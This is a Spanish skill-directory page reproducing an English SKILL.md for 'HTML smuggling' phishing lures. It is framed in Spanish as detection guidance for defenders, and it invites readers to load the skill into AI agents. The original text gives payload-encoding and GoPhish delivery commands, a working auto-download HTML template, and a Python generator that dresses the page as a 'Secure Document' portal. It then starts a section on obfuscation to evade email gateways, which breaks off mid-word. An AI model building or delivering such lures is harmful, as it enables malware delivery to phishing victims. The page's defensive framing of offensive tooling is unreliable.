html-smuggling-lure
Qué hace
Esta guía describe cómo los archivos maliciosos pueden ocultarse dentro de adjuntos HTML y reconstruirse en el navegador. Va dirigida a equipos de seguridad de correo y web que quieren detectar y bloquear este patrón.
Cuándo usarla
- ✓Cuando una pasarela de correo o un proxy web necesita reglas para archivos HTML que crean descargas con scripts.
- ✓Cuando una prueba autorizada comprueba si los adjuntos HTML se inspeccionan correctamente.
- ✓Cuando un equipo de seguridad revisa cómo podría engañarse al personal para que descargue un archivo disfrazado.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Nuestros filtros de correo y web pueden detectar adjuntos HTML que reconstruyen un archivo en el navegador? Por favor, revisa los controles.”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente revisa cómo se inspeccionan los adjuntos HTML, busca scripts que crean descargas e informa dónde fallaría la detección.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
HTML Smuggling Lure
HTML smuggling abuses the browser's ability to construct files from
JavaScript — a base64-encoded payload is embedded directly in an HTML
email attachment or link. When opened, JavaScript decodes the blob,
creates an <a> element with a blob: URL, and triggers a download.
The payload never transits the wire as a detectable file type, so email
gateways and web proxies that inspect MIME types see only text/html.
Nobelium (SolarWinds), Qakbot, and IcedID campaigns have used this technique extensively since 2021.
Prerequisites
- A compiled payload (ISO, ZIP, MSI, IMG, or VHD) ready for delivery.
- GoPhish or direct SMTP for delivery (
gophish-campaign). - The
lure-deconflictionhandshake COMPLETE.
Quick Reference
# Encode payload to base64
base64 -w0 /workspace/payload.iso > /workspace/payload.b64
# Generate the HTML smuggling page
python3 /workspace/gen_smuggle.py \
--payload /workspace/payload.b64 \
--filename "Report.iso" \
--mimetype "application/octet-stream" \
--output /workspace/smuggle.html
# Deliver via GoPhish as an attachment
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
-H 'Content-Type: application/json' \
"$GOPHISH_API/templates/" -d @/workspace/smuggle_template.json
MITRE ATT&CK Mapping
| Technique | ID | Usage |
|---|---|---|
| Obfuscated Files: HTML Smuggling | T1027.006 | Payload reconstructed client-side from JS blob |
| Phishing: Spearphishing Attachment | T1566.001 | HTML file delivered as email attachment |
| User Execution: Malicious File | T1204.002 | Victim opens HTML, browser downloads payload |
1. Basic HTML Smuggling Template
Minimal self-contained HTML that decodes a base64 payload and triggers download:
<!DOCTYPE html>
<html>
<head><title>Secure Document</title></head>
<body>
<p>Your document is downloading...</p>
<script>
// Base64 payload — replace with actual encoded content
var b64 = "<BASE64_PAYLOAD>";
var fname = "<FILENAME>"; // e.g. "Report.iso"
var mtype = "application/octet-stream";
var bytes = atob(b64);
var arr = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) arr[i] = bytes.charCodeAt(i);
var blob = new Blob([arr], {type: mtype});
var a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = fname;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(a.href);
</script>
</body>
</html>
2. Generator Script
Automate HTML smuggling page creation with theming:
import base64
import sys
TEMPLATE = '''<!DOCTYPE html>
<html>
<head>
<title>{title}</title>
<style>
body {{ font-family: Segoe UI, sans-serif; display: flex;
justify-content: center; align-items: center; height: 100vh;
background: #f5f5f5; }}
.card {{ background: #fff; padding: 40px; border-radius: 4px;
box-shadow: 0 2px 8px rgba(0,0,0,.15); text-align: center; }}
.spinner {{ border: 4px solid #eee; border-top: 4px solid #0078d4;
border-radius: 50%; width: 40px; height: 40px;
animation: spin 1s linear infinite; margin: 20px auto; }}
@keyframes spin {{ to {{ transform: rotate(360deg); }} }}
</style>
</head>
<body>
<div class="card">
<h2>Opening Secure Document</h2>
<div class="spinner"></div>
<p>If the download does not start, <a id="dl" href="#">click here</a>.</p>
</div>
<script>
(function() {{
var d = "{b64data}";
var n = "{filename}";
var b = atob(d);
var u = new Uint8Array(b.length);
for (var i = 0; i < b.length; i++) u[i] = b.charCodeAt(i);
var bl = new Blob([u], {{type: "application/octet-stream"}});
var url = URL.createObjectURL(bl);
var a = document.getElementById("dl");
a.href = url; a.download = n;
var t = document.createElement("a");
t.href = url; t.download = n;
document.body.appendChild(t); t.click();
document.body.removeChild(t);
}})();
</script>
</body>
</html>'''
def generate(payload_path, filename, title, output):
with open(payload_path, "rb") as f:
b64 = base64.b64encode(f.read()).decode()
html = TEMPLATE.format(
title=title, b64data=b64,
filename=filename)
with open(output, "w") as f:
f.write(html)
print(f"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)")
# Usage: generate("/workspace/payload.iso", "Report.iso",
# "Secure Document Portal", "/workspace/smuggle.html")
3. Obfuscation Layers
Basic base64 is trivially detected by static analysis. Layer obfuscation to evade email gat
Preguntas frecuentes
¿Por qué es difícil de detectar?
La guía dice que el archivo nunca viaja como un tipo de archivo normal, así que las pasarelas que solo revisan tipos de archivo ven una página web común.
¿Qué grupos lo han usado?
La guía señala que varias campañas conocidas han usado esta técnica desde 2021.
¿Cuál es la defensa?
Inspeccionar las descargas creadas por scripts y bloquear adjuntos HTML que generen descargas de archivos.
Detalles
Descripción original del autor
HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #14117
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.